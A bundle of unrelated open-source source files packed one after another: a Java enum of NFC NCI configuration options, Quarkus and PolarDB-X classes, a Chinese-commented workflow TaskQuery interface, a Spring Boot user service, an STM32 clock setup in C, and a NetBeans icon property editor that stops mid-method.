569
package de.tu_darmstadt.seemoo.nfcgate.nfc.config; /** * Represents all NCI configuration options that can occur in initial card data */ public enum OptionType { // LISTEN A // ATQA[0] LA_BIT_FRAME_SDD(0x30), // ATQA[1] LA_PLATFORM_CONFIG(0x31), // SAK LA_SEL_INFO(0x32), // UID LA_NFCID1(0x33), // LISTEN B // PUPI LB_NFCID0(0x39), // Bytes 6-9 of SENSB LB_APPLICATION_DATA(0x3A), // Start-Up Frame Guard Time (Protocol byte 1) LB_SFGI(0x3B), // Max Frames (128 bytes) / Protocol Type ISO-DEP support (Protocol byte 2) LB_SENSB_INFO(0x38), // FWI / ADC / F0 (Protocol byte 3) LB_ADC_FO(0x3C), // LISTEN F // contains [0:2] SystemCode and [3:10] NFCID2 LF_T3T_IDENTIFIERS_1(0x40), // bitmask of valid T3T_IDENTIFIERS LF_T3T_FLAGS(0x53), // "manufacturer" aka PAD0, PAD1, MRTI_check, MRTI_update, PAD2 LF_T3T_PMM(0x51), // LISTEN ISO-DEP // Historical bytes (NCI spec calls this LI_A_HIST_BY) LA_HIST_BY(0x59), // Higher layer response field LB_H_INFO_RSP(0x5A), ; // implementation details int value; OptionType(int val) { value = val; } public byte getID() { return (byte)value; } public static OptionType fromType(byte type) { for (OptionType optionType : OptionType.values()) if (optionType.getID() == type) return optionType; return null; } }
817
10,225
package io.quarkus.funqy.runtime; import java.util.Optional; import io.quarkus.runtime.annotations.ConfigItem; import io.quarkus.runtime.annotations.ConfigPhase; import io.quarkus.runtime.annotations.ConfigRoot; @ConfigRoot(phase = ConfigPhase.RUN_TIME) public class FunqyConfig { /** * The function to export. If there is more than one function * defined for this deployment, then you must set this variable. * If there is only a single function, you do not have to set this config item. * */ @ConfigItem public Optional<String> export; }
193
502
<gh_stars>100-1000 /** * Copyright 1996-2013 Founder International Co.,Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * @author kenshin */ package com.founder.fix.fixflow.core.task; import java.util.Date; import java.util.List; import com.founder.fix.fixflow.core.impl.identity.GroupTo; import com.founder.fix.fixflow.core.query.Query; /** * 任务查询器 * * @author kenshin */ public interface TaskQuery extends Query<TaskQuery, TaskInstance> { /** * 任务是否结束 * @return */ TaskQuery taskIsEnd(); /** * 根据流程分类查询 * @param category * @return */ TaskQuery category(String category); /** * 是否代理 * @param isAgent * @return */ TaskQuery isAgent(boolean isAgent); /** * 代理id * @param agentId * @return */ TaskQuery agentId(String agentId); /** * 未结束的任务 * @return */ TaskQuery taskNotEnd(); /** * 是否暂停 * @param isSuspended * @return */ TaskQuery isSuspended(boolean isSuspended); /** * 根据令牌ID查询 * @param tokenId * @return */ TaskQuery tokenId(String tokenId); /** * * @param callActivityInstanceId * @return */ TaskQuery callActivityInstanceId(String callActivityInstanceId); /** * 根据任务所有变量查询 * @param variableValue 变量值 * @param isLike 是否Like * @return */ TaskQuery variableData(String variableValue,boolean isLike); /** * 根据任务指定的变量查询 * @param variableKey 变量Key * @param variableValue 变量值 * @param isLike 是否Like * @return */ TaskQuery variableData(String variableKey,String variableValue,boolean isLike); /** * 根据任务的流程实例的所有变量查询 * @param variableValue 变量值 * @param isLike 是否Like * @return */ TaskQuery processInstanceVariableData(String variableValue,boolean isLike); /** * 根据任务的流程实例指定的变量查询 * @param variableKey 变量Key * @param variableValue 变量值 * @param isLike 是否Like * @return */ TaskQuery processInstanceVariableData(String variableKey,String variableValue,boolean isLike); /** * 根据任务发起人查询 * @return */ TaskQuery initiator(String initiator); /** * 根据任务发起人查询 * @param initiator * @return */ TaskQuery initiatorLike(String initiator); /** * 根据taskId查询 * @param taskId * @return */ TaskQuery taskId(String taskId); /** * 根据任务名称查询 * @param name * @return */ TaskQuery taskName(String name); /** * 根据业务主键查询 * @param businessKey * @return */ TaskQuery businessKey(String businessKey); /** * 根据业务主键查询 * @param businessKey * @return */ TaskQuery businessKeyLike(String businessKey); /** * 任务类型 * @param taskInstanceType * @return */ TaskQuery addTaskType(TaskInstanceType taskInstanceType); /** * 任务名称like匹配 * @param nameLike * @return */ TaskQuery taskNameLike(String nameLike); /** * 任务描述 * @param description * @return */ TaskQuery taskDescription(String description); /** * 任务描述like匹配 * @param descriptionLike * @return */ TaskQuery taskDescriptionLike(String descriptionLike); /** * * @param priority * @return */ TaskQuery taskPriority(Integer priority); /** * * @param minPriority * @return */ TaskQuery taskMinPriority(Integer minPriority); /** * * @param maxPriority * @return */ TaskQuery taskMaxPriority(Integer maxPriority); /** * 制定用户的独占任务 * @param assignee * @return */ TaskQuery taskAssignee(String assignee); /** * 指定用户的任务 * @param owner * @return */ TaskQuery taskOwner(String owner); /** * 未被领取的任务 * @return */ TaskQuery taskUnnassigned(); /** * 指定用户的的共享任务 * @param candidateUser * @return */ TaskQuery taskCandidateUser(String candidateUser); /** * * @param involvedUser * @return */ TaskQuery taskInvolvedUser(String involvedUser); /** * 根据共享用户组查询 * @param candidateGroup * @return */ TaskQuery taskCandidateGroup(GroupTo candidateGroup); /** * 根据流程实例编号查询 * @param processInstanceId * @return */ TaskQuery processInstanceId(String processInstanceId); /** * 含有子流程的任务 * @return */ TaskQuery containsSubProcess(); /** * * @param executionId * @return */ TaskQuery executionId(String executionId); /** * 创建时间等于createTime * @param createTime * @return */ TaskQuery taskCreatedOn(Date createTime); /** * 创建时间小于before * @param before * @return */ TaskQuery taskCreatedBefore(Date before); /** * 创建时间大于after * @param after * @return */ TaskQuery taskCreatedAfter(Date after); /** * * @param key * @return */ TaskQuery taskDefinitionKey(String key); /** * 根据任务定义key like匹配 * @param keyLike * @return */ TaskQuery taskDefinitionKeyLike(String keyLike); /** * 根据流程定义key查询 * @param processDefinitionKey * @return */ TaskQuery processDefinitionKey(String processDefinitionKey); /** * 根据流程定义key查询 * @param processDefinitionKeyList * @return */ TaskQuery processDefinitionKey(List<String> processDefinitionKeyList); /** * 根据流程定义编号查询 * @param processDefinitionId * @return */ TaskQuery processDefinitionId(String processDefinitionId); /** * 根据流程名称查询 * @param processDefinitionName * @return */ TaskQuery processDefinitionName(String processDefinitionName); /** * 根据流程名称like查询 * @param processDefinitionLike * @return */ TaskQuery processDefinitionNameLike(String processDefinitionLike); /** * * @param dueDate * @return */ TaskQuery dueDate(Date dueDate); /** * * @param dueDate * @return */ TaskQuery dueBefore(Date dueDate); /** * * @param dueDate * @return */ TaskQuery dueAfter(Date dueDate); /** * 独占不为空 * @return */ TaskQuery assigneeNotNull(); /** * 共享分组不为空 * @return */ TaskQuery candidateNotNull(); /** * 根据节点查询 * @param nodeId * @return */ TaskQuery nodeId(String nodeId); /** * 查询归档数据 * @return */ TaskQuery his(); /** * 查询运行数据 * @return */ TaskQuery run(); // ordering //////////////////////////////////////////////////////////// /** * 根据任务ID排序 * @return */ TaskQuery orderByTaskId(); /** * 根据任务名称排序 * @return */ TaskQuery orderByTaskName(); /** * 根据任务描述排序 * @return */ TaskQuery orderByTaskDescription(); /** * * @return */ TaskQuery orderByTaskPriority(); /** * 根据处理人排序 * @return */ TaskQuery orderByTaskAssignee(); /** * 根据创建时间排序 * @return */ TaskQuery orderByTaskCreateTime(); /** * 根据流程实例ID排序 * @return */ TaskQuery orderByProcessInstanceId(); /** * * @return */ TaskQuery orderByExecutionId(); /** * * @return */ TaskQuery orderByDueDate(); /** * 根据结束时间排序 * @return */ TaskQuery orderByEndTime(); }
3,762
480
<filename>polardbx-optimizer/src/main/java/com/alibaba/polardbx/optimizer/config/table/statistic/StatisticDataTableSource.java /* * Copyright [2013-2021], Alibaba Group Holding Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.polardbx.optimizer.config.table.statistic; import com.alibaba.polardbx.common.properties.ParamManager; import com.alibaba.polardbx.config.ConfigDataMode; import com.alibaba.polardbx.optimizer.config.table.statistic.inf.NDVSketchService; import com.alibaba.polardbx.optimizer.config.table.statistic.inf.SystemTableColumnStatistic; import com.alibaba.polardbx.optimizer.config.table.statistic.inf.SystemTableNDVSketchStatistic; import com.alibaba.polardbx.optimizer.config.table.statistic.inf.SystemTableTableStatistic; import java.sql.SQLException; import java.util.Collection; import java.util.List; import java.util.Map; public class StatisticDataTableSource implements StatisticDataSource { private SystemTableTableStatistic systemTableTableStatistic; private SystemTableColumnStatistic systemTableColumnStatistic; private SystemTableNDVSketchStatistic ndvSketchStatistic; /** * TDataSource connection properties manager */ private final ParamManager paramManager; private NDVSketchService ndvSketch; private String schemaName; public StatisticDataTableSource(String schemaName, SystemTableTableStatistic systemTableTableStatistic, SystemTableColumnStatistic systemTableColumnStatistic, SystemTableNDVSketchStatistic ndvSketchStatistic, NDVSketchService ndvSketch, Map<String, Object> connectionProperties ) { this.schemaName = schemaName; this.systemTableTableStatistic = systemTableTableStatistic; this.systemTableColumnStatistic = systemTableColumnStatistic; this.ndvSketchStatistic = ndvSketchStatistic; this.ndvSketch = ndvSketch; this.paramManager = new ParamManager(connectionProperties); } @Override public void init() { systemTableTableStatistic.createTableIfNotExist(); systemTableColumnStatistic.createTableIfNotExist(); if (ndvSketchStatistic != null) { ndvSketchStatistic.createTableIfNotExist(); } } @Override public Collection<SystemTableTableStatistic.Row> loadAllTableStatistic(long sinceTime) { return systemTableTableStatistic.selectAll(sinceTime); } @Override public Collection<SystemTableColumnStatistic.Row> loadAllColumnStatistic(long sinceTime) { return systemTableColumnStatistic.selectAll(sinceTime); } @Override public Map<? extends String, ? extends Long> loadAllCardinality() { ndvSketch.parse(ndvSketchStatistic.loadAll(schemaName)); return ndvSketch.getCardinalityMap(); } @Override public Map<? extends String, ? extends Long> syncCardinality() { return ndvSketch.getCardinalityMap(); } @Override public void reloadNDVbyTableName(String tableName) { ndvSketch.parse(ndvSketchStatistic.loadByTableName(schemaName, tableName)); } @Override public ParamManager acquireStatisticConfig() { return paramManager; } @Override public void renameTable(String oldTableName, String newTableName) { systemTableTableStatistic.renameTable(oldTableName, newTableName); systemTableColumnStatistic.renameTable(oldTableName, newTableName); ndvSketchStatistic.updateTableName(schemaName, oldTableName, newTableName); ndvSketch.remove(oldTableName); } @Override public void removeLogicalTableColumnList(String logicalTableName, List<String> columnNameList) { systemTableColumnStatistic.removeLogicalTableColumnList(logicalTableName, columnNameList); } @Override public void removeLogicalTableList(List<String> logicalTableNameList) { systemTableTableStatistic.removeLogicalTableList(logicalTableNameList); systemTableColumnStatistic.removeLogicalTableList(logicalTableNameList); logicalTableNameList.forEach(table -> ndvSketchStatistic.deleteByTableName(schemaName, table)); logicalTableNameList.forEach(table -> ndvSketch.remove(table)); } @Override public void updateColumnCardinality(String tableName, String columnName) { try { ndvSketch.updateAllShardParts(tableName, columnName); } catch (SQLException throwables) { throwables.printStackTrace(); } } @Override public void rebuildColumnCardinality(String tableName, String columnNames) { try { ndvSketch.reBuildShardParts(tableName, columnNames); } catch (SQLException e) { e.printStackTrace(); } } }
2,030
323
<reponame>jiangjiang66/SpringBoot3<filename>springboot-security/src/main/java/cn/huanzi/qch/springbootsecurity/sysuser/service/SysUserServiceImpl.java package cn.huanzi.qch.springbootsecurity.sysuser.service; import cn.huanzi.qch.springbootsecurity.common.pojo.Result; import cn.huanzi.qch.springbootsecurity.common.service.CommonServiceImpl; import cn.huanzi.qch.springbootsecurity.sysuser.pojo.SysUser; import cn.huanzi.qch.springbootsecurity.sysuser.repository.SysUserRepository; import cn.huanzi.qch.springbootsecurity.sysuser.vo.SysUserVo; import cn.huanzi.qch.springbootsecurity.util.CopyUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; @Service @Transactional public class SysUserServiceImpl extends CommonServiceImpl<SysUserVo, SysUser, String> implements SysUserService{ @PersistenceContext private EntityManager em; @Autowired private SysUserRepository sysUserRepository; @Override public Result<SysUserVo> findByLoginName(String username) { return Result.of(CopyUtil.copy(sysUserRepository.findByLoginName(username),SysUserVo.class)); } }
443
7,482
<reponame>rockonedege/rt-thread /* * Copyright (c) 2006-2021, RT-Thread Development Team * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2018-11-06 SummerGift first version */ #include "board.h" void SystemClock_Config(void) { RCC_OscInitTypeDef RCC_OscInitStruct = {0}; RCC_ClkInitTypeDef RCC_ClkInitStruct = {0}; RCC_PeriphCLKInitTypeDef PeriphClkInitStruct = {0}; /** Configure the main internal regulator output voltage */ __HAL_RCC_PWR_CLK_ENABLE(); __HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE1); /** Initializes the CPU, AHB and APB busses clocks */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSE|RCC_OSCILLATORTYPE_LSE; RCC_OscInitStruct.HSEState = RCC_HSE_ON; RCC_OscInitStruct.LSEState = RCC_LSE_ON; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON; RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSE; RCC_OscInitStruct.PLL.PLLM = 15; RCC_OscInitStruct.PLL.PLLN = 144; RCC_OscInitStruct.PLL.PLLP = RCC_PLLP_DIV4; RCC_OscInitStruct.PLL.PLLQ = 5; if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { Error_Handler(); } /** Initializes the CPU, AHB and APB busses clocks */ RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK |RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2; RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV2; RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1; if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_1) != HAL_OK) { Error_Handler(); } PeriphClkInitStruct.PeriphClockSelection = RCC_PERIPHCLK_RTC; PeriphClkInitStruct.RTCClockSelection = RCC_RTCCLKSOURCE_LSE; if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInitStruct) != HAL_OK) { Error_Handler(); } }
905
1,056
<filename>java/beans/src/org/netbeans/modules/beans/beaninfo/BiIconEditor.java /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.beans.beaninfo; import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Image; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.beans.PropertyChangeEvent; import java.beans.PropertyEditorSupport; import java.beans.PropertyVetoException; import java.beans.VetoableChangeListener; import java.io.FileNotFoundException; import java.io.IOException; import java.net.URL; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.ListIterator; import javax.imageio.ImageIO; import javax.swing.ButtonGroup; import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JRadioButton; import javax.swing.JScrollPane; import javax.swing.JTextField; import javax.swing.UIManager; import javax.swing.border.Border; import javax.swing.border.EmptyBorder; import javax.swing.border.EtchedBorder; import javax.swing.border.TitledBorder; import org.netbeans.api.java.classpath.ClassPath; import org.netbeans.api.java.queries.SourceForBinaryQuery; import org.openide.DialogDescriptor; import org.openide.DialogDisplayer; import org.openide.NotifyDescriptor; import org.openide.explorer.ExplorerManager; import org.openide.explorer.propertysheet.ExPropertyEditor; import org.openide.explorer.propertysheet.PropertyEnv; import org.openide.explorer.view.BeanTreeView; import org.openide.filesystems.FileObject; import org.openide.filesystems.FileStateInvalidException; import org.openide.filesystems.FileUtil; import org.openide.loaders.DataObject; import org.openide.loaders.DataObjectNotFoundException; import org.openide.nodes.AbstractNode; import org.openide.nodes.Children; import org.openide.nodes.FilterNode; import org.openide.nodes.Node; import org.openide.util.Exceptions; import org.openide.util.HelpCtx; import org.openide.util.NbBundle; /** * PropertyEditor for Icons. Depends on existing DataObject for images. * Images must be represented by some DataObject which returns itselv * as cookie, and has image file as a primary file. File extensions * for images is specified in isImage method. * * @author <NAME> */ final class BiIconEditor extends PropertyEditorSupport implements ExPropertyEditor { private static final String BEAN_ICONEDITOR_HELP = "beans.icon"; // NOI18N private FileObject sourceFileObject; private PropertyEnv env; /** Standard variable for localization. */ static java.util.ResourceBundle bundle = org.openide.util.NbBundle.getBundle( BiIconEditor.class); public static boolean isImage(String s) { s = s.toLowerCase(); return s.endsWith(".jpg") || s.endsWith(".gif") || // NOI18N s.endsWith(".jpeg") || s.endsWith(".jpe") || // NOI18N s.equals("jpg") || s.equals("gif") || // NOI18N s.equals("jpeg") || s.equals("jpe"); // NOI18N } // variables ................................................................................. //private Icon icon; // init ....................................................................................... public BiIconEditor( FileObject sourceFileObject ) { this.sourceFileObject = sourceFileObject; } // Special access methods...................................................................... /** @return the name of image's source - depending on the type it can be a URL, file name or * resource path to the image on classpath */ public String getSourceName() { if (getValue() instanceof BiImageIcon) return getValue().getName(); else return null; } @Override public void setValue(Object value) { BiImageIcon old = getValue(); if (old == value || old != null && old.equals(value)) { return; } if (env != null) { BiImageIcon newval = (BiImageIcon) value; env.setState(newval != null && (newval.url == null || newval.getIcon() == null) ? PropertyEnv.STATE_INVALID : PropertyEnv.STATE_VALID); } super.setValue(value); } @Override public BiImageIcon getValue() { return (BiImageIcon) super.getValue(); } /** * @return The property value as a human editable string. * <p> Returns null if the value can't be expressed as an editable string. * <p> If a non-null value is returned, then the PropertyEditor should * be prepared to parse that string back in setAsText(). */ @Override public String getAsText() { Object val = getValue(); return String.valueOf(textFromIcon((BiImageIcon) val)); } /** * Set the property value by parsing a given String. May raise * java.lang.IllegalArgumentException if either the String is * badly formatted or if this kind of property can't be expressed * as text. * @param text The string to be parsed. */ @Override public void setAsText(String string) throws IllegalArgumentException { try { BiImageIcon iconFromText = iconFromText(string); if (iconFromText == null || iconFromText.url != null) { setValue(iconFromText); } else { String msg = NbBundle.getMessage(IconPanel.class, "CTL_Icon_not_exists", string); DialogDisplayer.getDefault().notify(new NotifyDescriptor.Message(msg)); } } catch ( IllegalArgumentException e ) { // User inserted incorrect path either report or // do nothing // For now choosing doing nothing } } /** translates icon object to text representation; null in case of undefined icon */ String textFromIcon(BiImageIcon icon) { return icon == null ? null : icon.getName(); } BiImageIcon iconFromText(String string) throws IllegalArgumentException { BiImageIcon ii; try { if (string.length() == 0 || string.equals("null")) { // NOI18N ii = null; } else { URL res = resolveIconPath(string, sourceFileObject); ii = new BiImageIcon(res, string); } } catch (IOException ex) { ii = new BiImageIcon(null, string); } return ii; } /** * translates resource path defined in {@link java.beans.BeanInfo}'s subclass * that complies with {@link Class#getResource(java.lang.String) Class.getResource} format * to format complying with {@link ClassPath#getResourceName(org.openide.filesystems.FileObject) ClassPath.getResourceName} * @param resourcePath absolute path or path relative to package of BeanInfo's subclass * @param beanInfo BeanInfo's subclass * @return path as URL * @throws FileStateInvalidException invalid FileObject * @throws FileNotFoundException resource cannot be found */ private static URL resolveIconPath(String resourcePath, FileObject beanInfo) throws FileStateInvalidException, FileNotFoundException { ClassPath cp = ClassPath.getClassPath(beanInfo, ClassPath.SOURCE); String path = resourcePath.charAt(0) != '/' ? '/' + cp.getResourceName(beanInfo.getParent()) + '/' + resourcePath : resourcePath; FileObject res = cp.findResource(path); if (res != null && res.canRead() && res.isData()) { return res.toURL(); } else { throw new FileNotFoundException(path); } } /** * @return True if the class will honor the paintValue method. */ @Override public boolean isPaintable() { return false; } /** * @return True if the propertyEditor can provide a custom editor. */ @Override public boolean supportsCustomEditor() { return true; } /** * A PropertyEditor may choose to make available a full custom Component * that edits its property value. It is the responsibility of the * PropertyEditor to hook itself up to its editor Component itself and * to report property value changes by firing a PropertyChange event. * <P> * The higher-level code that calls getCustomEditor may either embed * the Component in some larger property sheet, or it may put it in * its own individual dialog, or ... * * @return A java.awt.Component that will allow a human to directly * edit the current property value. May be null if this is * not supported. */ @Override public java.awt.Component getCustomEditor() { return new IconPanel(this, env); } public void attachEnv(PropertyEnv env) { this.env = env; BiImageIcon val = getValue(); if (val != null && (val.url == null || val.getIcon() == null)) { env.setState(PropertyEnv.STATE_INVALID); } } public static final class BiImageIcon { private String name; private URL url; private Icon icon; public BiImageIcon() { } BiImageIcon(URL url, String name) { this.url = url; this.name = name; } String getName() { return name; } public Icon getIcon() { if (icon == null) { if (url == null) { return icon; } try { Image image = ImageIO.read(url); if (image == null) { return null; } icon = new ImageIcon(image); } catch (IOException ex) { Exceptions.printStackTrace(ex); } } return icon; } @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } final BiImageIcon other = (BiImageIcon) obj; if (this.name != other.name && (this.name == null || !this.name.equals(other.name))) { return false; } return true; } } private static final class IconPanel extends JPanel implements VetoableChangeListener { JRadioButton rbClasspath, rbNoPicture; JTextField tfName; JButton bSelect; JScrollPane spImage; private final PropertyEnv env; private BiImageIcon value; private BiIconEditor editor; IconPanel(BiIconEditor editor, PropertyEnv env) { this.env = env; this.editor = editor; // visual components ............................................. JLabel lab; setLayout(new BorderLayout(6, 6)); setBorder(new EmptyBorder(6, 6, 6, 6)); getAccessibleContext().setAccessibleName(bundle.getString("ACS_IconPanelA11yName")); // NOI18N getAccessibleContext().setAccessibleDescription(bundle.getString("ACS_IconPanelA11yDesc")); // NOI18N JPanel p = new JPanel(new BorderLayout(3, 3)); JPanel p1 = new JPanel(new BorderLayout()); p1.setBorder(new TitledBorder(new EtchedBorder(), bundle.getString("CTL_ImageSourceType"))); JPanel p2 = new JPanel(); p2.setBorder(new EmptyBorder(0, 3, 0, 3)); GridBagLayout l = new GridBagLayout(); GridBagConstraints c = new GridBagConstraints(); p2.setLayout(l); c.anchor = GridBagConstraints.WEST; p2.add(rbClasspath = new JRadioButton(bundle.getString("CTL_Classpath"))); rbClasspath.setToolTipText(bundle.getString("ACS_ClasspathA11yDesc")); rbClasspath.setMnemonic(bundle.getString("CTL_Classpath_Mnemonic").charAt(0)); c.gridwidth = 1; l.setConstraints(rbClasspath, c); p2.add(lab = new JLabel(bundle.getString("CTL_ClasspathExample"))); lab.getAccessibleContext().setAccessibleDescription(bundle.getString("ACS_ClasspathExampleA11yDesc")); c.gridwidth = GridBagConstraints.REMAINDER; l.setConstraints(lab, c); p2.add(rbNoPicture = new JRadioButton(bundle.getString("CTL_NoPicture"))); rbNoPicture.setToolTipText(bundle.getString("ACS_NoPictureA11yDesc")); rbNoPicture.setMnemonic(bundle.getString("CTL_NoPicture_Mnemonic").charAt(0)); c.gridwidth = 1; l.setConstraints(rbNoPicture, c); p2.add(lab = new JLabel(bundle.getString("CTL_Null"))); lab.getAccessibleContext().setAccessibleDescription(bundle.getString("ACS_NullA11yDesc")); c.gridwidth = GridBagConstraints.REMAINDER; l.setConstraints(lab, c); ButtonGroup bg = new ButtonGroup(); bg.add(rbClasspath); bg.add(rbNoPicture); rbClasspath.setSelected(true); p1.add(p2, "West"); // NOI18N p.add(p1, "North"); // NOI18N p1 = new JPanel(new BorderLayout(6, 6)); JLabel nameLabel = new JLabel(bundle.getString("CTL_ImageSourceName")); nameLabel.getAccessibleContext().setAccessibleDescription(bundle.getString("ACS_ImageSourceNameA11yDesc")); nameLabel.setDisplayedMnemonic(bundle.getString("CTL_ImageSourceName_Mnemonic").charAt(0)); p1.add(nameLabel, "West"); // NOI18N p1.add(tfName = new JTextField(), "Center"); // NOI18N nameLabel.setLabelFor(tfName); tfName.getAccessibleContext().setAccessibleName(bundle.getString("ACS_ImageSourceNameTextFieldA11yName")); tfName.setToolTipText(bundle.getString("ACS_ImageSourceNameTextFieldA11yDesc")); p1.add(bSelect = new JButton("..."), "East"); // NOI18N bSelect.getAccessibleContext().setAccessibleName(bundle.getString("ACS_ImageSourceNameBrowseButtonA11yName")); bSelect.setToolTipText(bundle.getString("ACS_ImageSourceNameBrowseButtonA11yDesc")); bSelect.setEnabled(false); p.add(p1, "South"); // NOI18N add(p, "North"); // NOI18N spImage = new JScrollPane() { @Override public Dimension getPreferredSize() { return new Dimension(60, 60); } }; add(spImage, "Center"); // NOI18N // listeners ................................................. tfName.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { setValue(); } }); rbClasspath.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { bSelect.setEnabled(true); tfName.setEnabled(true); setValue(); } }); rbNoPicture.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { bSelect.setEnabled(false); tfName.setEnabled(false); setValue(null); updateIcon(); } }); bSelect.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (rbClasspath.isSelected()) { String name = selectResource(); if (name != null) { tfName.setText("/" + name); // NOI18N setValue(); } } } }); // initialization ...................................... env.setState(PropertyEnv.STATE_NEEDS_VALIDATION); env.addVetoableChangeListener(this); setValue(editor.getValue()); updateIcon(); HelpCtx.setHelpIDString(this, BEAN_ICONEDITOR_HELP); BiImageIcon i = getValue(); if (i == null) { rbNoPicture.setSelected(true); bSelect.setEnabled(false); tfName.setEnabled(false); return; } rbClasspath.setSelected(true); bSelect.setEnabled(true); tfName.setText((i).getName()); } void updateIcon() { BiImageIcon bii = getValue(); Icon i = bii == null? null: bii.getIcon(); spImage.setViewportView((i == null) ? new JLabel() : new JLabel(i)); // repaint(); validate(); } void setValue() { String val = tfName.getText(); val.trim(); if ("".equals(val)) { // NOI18N setValue(null); return; } try { setValue(editor.iconFromText(val)); } catch (IllegalArgumentException ee) { // Reporting the exception is maybe too much let's do nothing // instead // org.openide.ErrorManager.getDefault().notify(org.openide.ErrorManager.INFORMATIONAL, ee); } updateIcon(); } private void setValue(BiImageIcon icon) { this.value = icon; } private BiImageIcon getValue() { return this.value; } private Object getPropertyValue(PropertyChangeEvent evt) throws PropertyVetoException { BiImageIcon ii = null; String s = tfName.getText().trim(); if (rbClasspath.isSelected() && s.length() != 0) { try{ URL res = resolveIconPath(s, editor.sourceFileObject); ii = new BiImageIcon(res, s); } catch (FileStateInvalidException ex) { throw new PropertyVetoException( NbBundle.getMessage(IconPanel.class, "CTL_Icon_not_exists", ex.getFileSystemName()), //NOI18N evt); } catch (FileNotFoundException ex) { throw new PropertyVetoException( NbBundle.getMessage(IconPanel.class, "CTL_Icon_not_exists", ex.getMessage()), //NOI18N evt); } } return ii; } public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException { if (PropertyEnv.PROP_STATE == evt.getPropertyName()) { BiImageIcon ii = (BiImageIcon) getPropertyValue(evt); editor.setValue(ii); } } private List<FileObject> getRoots(ClassPath cp) { List<FileObject> list = new ArrayList<FileObject>(cp.entries().size()); for (ClassPath.Entry e : cp.entries()) { // try to map it to sources URL url = e.getURL(); SourceForBinaryQuery.Result r = SourceForBinaryQuery.findSourceRoots(url); FileObject [] fos = r.getRoots(); if (fos.length > 0) { for (int i = 0 ; i < fos.length; i++) list.add(fos[i]); } else { if (e.getRoot()!=null) list.add(e.getRoot()); // add the class-path location directly } } return list; } private String rootDisplayName(FileObject fo) { return FileUtil.getFileDisplayName(fo); } /** * Obtains icon resource from the user. * * @returns name of the selected resource or <code>null</code>. */ private String selectResource() { ClassPath executionClassPath = ClassPath.getClassPath(editor.sourceFileObject, ClassPath.EXECUTE); List<FileObject> roots = (executionClassPath == null) ? Collections.<FileObject>emptyList() : getRoots(executionClassPath); Node nodes[] = new Node[roots.size()]; int selRoot = -1; try { ListIterator<FileObject> iter = roots.listIterator(); while (iter.hasNext()) { FileObject root = iter.next(); DataObject dob = DataObject.find(root); final String displayName = rootDisplayName(root); nodes[iter.previousIndex()] = new RootNode(dob.getNodeDelegate(), displayName); } } catch (DataObjectNotFoundException donfex) { Exceptions.printStackTrace(donfex); return null; } Children children = new Children.Array(); children.add(nodes); final AbstractNode root = new AbstractNode(children); root.setIconBaseWithExtension("org/netbeans/modules/beans/resources/iconResourceRoot.gif"); // NOI18N root.setDisplayName(bundle.getString("CTL_ClassPathName")); // NOI18N ResourceSelector selector = new ResourceSelector(root); DialogDescriptor dd = new DialogDescriptor(selector, bundle.getString("CTL_OpenDialogName")); // NOI18N Object res = DialogDisplayer.getDefault().notify(dd); nodes = (res == DialogDescriptor.OK_OPTION) ? selector.getNodes() : null; String name = null; if ((nodes != null) && (nodes.length == 1)) { DataObject dob = nodes[0].getCookie(DataObject.class); if (dob != null) { FileObject fob = dob.getPrimaryFile(); if (fob != null) { if (executionClassPath.contains(fob)) { name = executionClassPath.getResourceName(fob); } else { ClassPath srcClassPath = ClassPath.getClassPath(fob, ClassPath.SOURCE); name = srcClassPath.getResourceName(fob); } } 